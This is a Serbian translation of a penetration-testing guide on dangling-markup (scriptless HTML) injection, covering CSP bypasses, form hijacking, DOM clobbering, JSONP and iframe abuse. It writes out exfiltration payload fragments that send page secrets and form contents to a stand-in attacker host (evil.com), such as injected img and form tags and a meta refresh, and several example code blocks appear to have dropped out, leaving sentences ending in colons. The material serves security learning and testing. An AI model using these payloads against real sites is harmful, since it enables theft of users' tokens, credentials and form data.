Dangling Markup - HTML scriptless injection
Rezime
Ova tehnika može se koristiti za izvlačenje informacija od korisnika kada se pronađe HTML ubacivanje. Ovo je veoma korisno ako ne možete pronaći način da iskoristite XSS ali možete ubaciti neke HTML tagove. Takođe je korisno ako je neka tajna sačuvana u običnom tekstu u HTML-u i želite je eksfiltrirati sa klijenta, ili ako želite da zavarate izvršavanje nekog skripta.
Nekoliko tehnika komentarisanih ovde može se koristiti za zaobilaženje nekih Content Security Policy putem eksfiltracije informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Glavne Primene
Krađa tajni u običnom tekstu
Ako ubacite <img src='http://evil.com/log.cgi?
kada se stranica učita, žrtva će vam poslati sav kod između ubačene img
oznake i sledeće navodnika unutar koda. Ako se tajna nađe u tom delu, ukradećete je (isto možete uraditi koristeći dvostruki navodnik, pogledajte šta bi moglo biti interesantnije za korišćenje).
Ako je img
oznaka zabranjena (zbog CSP na primer) takođe možete koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima poput "ftp".
Takođe možete zloupotrebiti CSS @import
(će poslati sav kod dok ne pronađe ";")
Takođe možete koristiti <table
:
Možete takođe ubaciti <base
tag. Sve informacije će biti poslate dok se navodnik ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će base tag promeniti domen na koji link pokazuje):
Krađa formi
Zatim, obrasci koji šalju podatke putanjom (kao što je <form action='update_profile.php'>
) će slati podatke na zlonamernu domenu.
Krađa obrazaca 2
Postavite zaglavlje obrasca: <form action='http://evil.com/log_steal'>
ovo će prebrisati sledeće zaglavlje obrasca i svi podaci iz obrasca će biti poslati napadaču.
Krađa obrazaca 3
Dugme može promeniti URL na koji će informacije iz obrasca biti poslate pomoću atributa "formaction":
Napadač može koristiti ovo da ukrade informacije.
Pronađite primer ovog napada u ovom opisu.
Krađa tajnih tekstualnih informacija 2
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "Krađu tajnih tekstova u čistom obliku" sa "Krađom formi2".
Možete uraditi istu stvar ubacivanjem forme i <option>
oznake. Svi podaci dok se ne pronađe zatvoreni </option>
će biti poslati:
Injekcija parametara obrasca
Možete promeniti putanju obrasca i ubaciti nove vrednosti kako bi se izvršila neočekivana radnja:
Krađa tajnih tekstova u čistom tekstu putem noscript
<noscript></noscript>
je oznaka čiji će sadržaj biti tumačen ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na chrome://settings/content/javascript).
Način za eksfiltraciju sadržaja web stranice od tačke ubacivanja do dna ka sajtu koji kontroliše napadač biće ubacivanje ovoga:
Bypassing CSP sa korisničkom interakcijom
Iz ovog portswiggers istraživanja možete naučiti da čak i u najstrože ograničenim CSP okruženjima još uvek možete izfiltrirati podatke sa određenom korisničkom interakcijom. U ovom slučaju ćemo koristiti payload:
Napomena da ćete zatražiti od žrtve da klikne na link koji će je preusmeriti na payload koji kontrolišete. Takođe, obratite pažnju da će target
atribut unutar base
taga sadržati HTML sadržaj do sledećeg jednostrukog navodnika.
To će rezultirati time da će vrednost window.name
biti sav taj HTML sadržaj kada se klikne na link. Stoga, pošto kontrolišete stranicu na koju žrtva pristupa klikom na link, možete pristupiti tom window.name
i eksfiltrirati te podatke:
Zavaravajući radni tok skripte 1 - Napad na HTML namespace
Umetnite novi tag sa id-om unutar HTML-a koji će prepisati sledeći tag i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacije deliti:
Zavaravajući radni tok skripte 2 - Napad na skriptni prostor imena
Kreirajte promenljive unutar JavaScript prostora imena ubacivanjem HTML tagova. Zatim će ova promenljiva uticati na tok aplikacije:
Zloupotreba JSONP
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
Ili čak možete pokušati da izvršite neki JavaScript:
Zloupotreba Iframe-a
Dete dokumenta poseduje mogućnost da pregleda i izmeni svojstvo location
svojstvo svojstvo roditelja, čak i u situacijama prekograničnog saobraćaja. Ovo omogućava ugrađivanje skripte unutar iframe-a koja može preusmeriti klijenta na proizvoljnu stranicu:
Ovo se može ublažiti nečim poput: sandbox=' allow-scripts allow-top-navigation'
Iframe takođe može biti zloupotrebljen da bi procurele osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji ugrađuje sam sebe zloupotrebljavajući HTML ubacivanje koje čini da osetljive informacije izgledaju unutar atributa imena iframe-a i zatim pristupiti tom imenu iz početnog iframe-a i procuriti ga.
Za više informacija pogledajte https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta zloupotreba
Možete koristiti meta http-equiv
da izvršite nekoliko radnji poput postavljanja Cookie-a: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ili izvođenje preusmeravanja (u ovom slučaju za 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Ovo se može izbeći sa CSP u vezi sa http-equiv (Content-Security-Policy: default-src 'self';
, ili Content-Security-Policy: http-equiv 'self';
)
Novi <portal HTML tag
Možete pronaći veoma interesantna istraživanja o iskorišćivim ranjivostima taga <portal ovde.
U trenutku pisanja ovog teksta, morate omogućiti tag portala na Chrome-u u chrome://flags/#enable-portals
ili neće raditi.
HTML Curenje
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Curenje
Ovo je miks između dangling markup i XS-Curenja. Sa jedne strane, ranjivost omogućava ubacivanje HTML-a (ali ne JS-a) na stranici istog porekla kao stranica koju ćemo napadati. S druge strane, nećemo napadati direktno stranicu na koju možemo ubaciti HTML, već drugu stranicu.
pageSS-LeaksXS-Pretraga/XS-Curenje
XS-Pretrage su usmerene na eksfiltraciju informacija preko granica porekla zloupotrebom napada bočnim kanalom. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (sa i bez izvršenja JS-a), poput Ubacivanja CSS-a ili Učitavanja slika u lenjoj formi.
pageXS-Search/XS-LeaksLista za Otkrivanje Brute-Force Napada
Reference
Last updated